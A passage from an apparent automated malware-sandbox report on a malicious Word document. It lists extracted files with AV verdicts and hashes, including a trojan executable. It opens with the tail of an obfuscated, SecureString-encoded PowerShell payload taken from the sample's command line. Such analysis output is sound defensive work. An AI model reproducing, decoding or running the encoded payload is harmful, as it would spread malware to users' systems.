DAAMQBmAGQAZAAxADYANwBiADIAMQBlADIAYQAyAGIAYQBiAGIAMAA2ADIAYgA1ADIANwBmAGUAYgA4ADkANgA4ADEAYgBkAGQANAAxADMAMABhAGMAOABiAGYAMwAxAGMAZQBiADkAMgBhADEAOQBhADAAZQBmAGMAOQA2AGEAZgAwAGYANQBkAGMAYQA0AGYANgAwAGMAYgA0AGMAMwBlAGIANwBmADQAMAA2ADAANgBlADYAOQBjADUAYQA2ADgAMgA5ADUAYwBmADAAYwA5ADIAYwA0ADcAYwA4ADYAOQBlADEAMgAxAGEAZAAxAGQANwA4AGQAYgAwAGIAMwBkADQAYgA3ADUAZAAwADcAYQA3ADAAYQAyADYAOAA5AGMAYgBiAGYAMwA2AGUAYwAzADIAZQA2ADIAMgA3AGQAYwAyAGEAOQAyADcANwAyADUAYQA5ADkAYwBkADgANgBlADEANAA3ADUAYQA4ADgAYQA4AGUAMgBiAGMAOABkAGUAZQAzADUAMgAzADEANwA1ADAAOABmADcAMQAwAGUAZgA3AGMAMgA2AGYAYgA5AGQAOAA2ADkAMQBjAGMAZAAyADIAMgBiADcAMAAzADMANQA4ADgAOABkAGMAOAAxADQAZABhADQANQA3ADAAZgBhADkANwAzAGUAMQA3AGEANAAzADgAOQA0ADUAMgAwAGUAOQBhADAANwA1AGYAMAAzADcAMABjAGUAMgBjADcAMQBmADUAMwBhADIAZgAwAGYAOABiAGIAMABlAGIAYgBjADMAOQBlADQANwA3AGEAZgA2AGQAMQA3AGUAZQBmADQAYQA1AGMAMQBkADcAYgA4ADEANwAwADIANgAyAGMANwA0AGEAYgAyADIAYgBkADYAZQBlADAAYQA2ADEAZgA5AGMANQA3AGMAMgBlADQANAA2ADkAOAAxADgANgBlADAAMgAwADgAOQA0ADEAOQBhADYAMQA2AA==' |ConVerTTO-secuREStrING -KEy (146..169)) ))))
Ansi based on Process Commandline (powershell.exe)

Extracted Files

  • Malicious 1

    • 195082.exe
      Overview User Did Not Share Extended File Details VirusTotal Report Hash Seen Before
      Size
      132KiB (135168 bytes)
      Type
      peexe executable
      Description
      PE32 executable (GUI) Intel 80386, for MS Windows
      AV Scan Result
      Labeled as "Trojan.Generic" (34/67)
      Runtime Process
      195082.exe (PID: 2840)
      MD5
      ee8ecae6ff9c0e9c0c64a9ac8bc68b28 Copy MD5 to clipboard
      SHA1
      9b50606a0a7d4e7de61e008c7418e5c2e4e7514f Copy SHA1 to clipboard
      SHA256
      0fc4143af0aa01b02806484b5f289884570eab7821fa38480f22d53de57752fe Copy SHA256 to clipboard

  • Clean 1

    • ~$9168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc
      Overview User Did Not Share VirusTotal Report Hash Seen Before
      Size
      162B (162 bytes)
      Type
      data
      AV Scan Result
      0/59
      Runtime Process
      WINWORD.EXE (PID: 3592)
      MD5
      16cf07b6d6f758652122f5c01b561b38 Copy MD5 to clipboard
      SHA1
      5ef543ce193044191392e2b8e887a300c52baf74 Copy SHA1 to clipboard
      SHA256
      3882a3e04d6cf66707b31c8cb14a7c9fe512d10dd355f97a37e8666270f6e17d Copy SHA256 to clipboard

  • Informative 5

    • 129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.LNK
      User Did Not Share Hash Seen Before
      Size
      733B (733 bytes)
      Type
      lnk
      Description
      MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 31 09:15:39 2018, mtime=Wed Jan 31 09:15:39 2018, atime=Wed Jan 31 09:16:04 2018, length=226304, window=hide
      Runtime Process
      WINWORD.EXE (PID: 3592)
      MD5
      614f1e0a25aeabf5662c0cb63f5ceb3a Copy MD5 to clipboard
      SHA1
      a0152729e4407cb0b4d6e56726d8f80b5e27906b Copy SHA1 to clipboard
      SHA256
      7c932068f895d4d38e69fb1359f7511eb7ca1eb030161774bd8418562c47306a Copy SHA256 to clipboard
    • index.dat
      User Did Not Share Hash Seen Before
      Size
      224B (224 bytes)
      Type
      data
      Runtime Process
      WINWORD.EXE (PID: 3592)
      MD5
      c74b075f627e6dac016707e8738818a4 Copy MD5 to clipboard
      SHA1
      002fb229fdd21285fea544d6584992d1968a9635 Copy SHA1 to clipboard
      SHA256
      b9bf0cc87e4d9b46af221b54fb924062d8b1cff3474bd1d7431ef0f6b767b3cf Copy SHA256 to clipboard
    • ~$Normal.dotm
      Overview User Did Not Share Hash Seen Before
      Size
      162B (162 bytes)
      Type
      data
      Runtime Process
      WINWORD.EXE (PID: 3592)
      MD5
      16cf07b6d6f758652122f5c01b561b38 Copy MD5 to clipboard
      SHA1
      5ef543ce193044191392e2b8e887a300c52baf74 Copy SHA1 to clipboard
      SHA256
      3882a3e04d6cf66707b31c8cb14a7c9fe512d10dd355f97a37e8666270f6e17d Copy SHA256 to clipboard
    • 8TCMB5ZGMHB3S9U7XP4L.temp
      User Did Not Share Hash Seen Before
      Size
      7.8KiB (8016 bytes)
      Type
      data
      Runtime Process
      powershell.exe (PID: 2096)
      MD5
      0ec3597603855b71f181368c8be27d5b Copy MD5 to clipboard
      SHA1
      e586ca08889c31a17a392a84047793a685b816fc Copy SHA1 to clipboard
      SHA256
      7aa6c4512e69d776f41e7db3c44782c106256a0e511588eb8ce4f424545d4144 Copy SHA256 to clipboard
    • ~WRS{6F053C44-FAC4-4CB6-B75C-D30842EE3494}.tmp
      Overview User Did Not Share Hash Seen Before
      Size
      1KiB (1024 bytes)
      Type
      data
      Runtime Process
      WINWORD.EXE (PID: 3592)
      MD5
      5d4d94ee7e06bbb0af9584119797b23a Copy MD5 to clipboard
      SHA1
      dbb111419c704f116efa8e72471dd83e86e49677 Copy SHA1 to clipboard
      SHA256
      4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1 Copy SHA256 to clipboard

Notifications

  • Runtime

  • Added comment to Virus Total report
  • Not all IP/URL string resources were checked online
  • Not all sources for indicator ID "api-55" are available in the report
  • Not all sources for indicator ID "api-70" are available in the report
  • Not all sources for indicator ID "hooks-8" are available in the report
  • Not all sources for indicator ID "mutant-0" are available in the report

  • Environment 1

  • Sample was not shared with the community

    • Community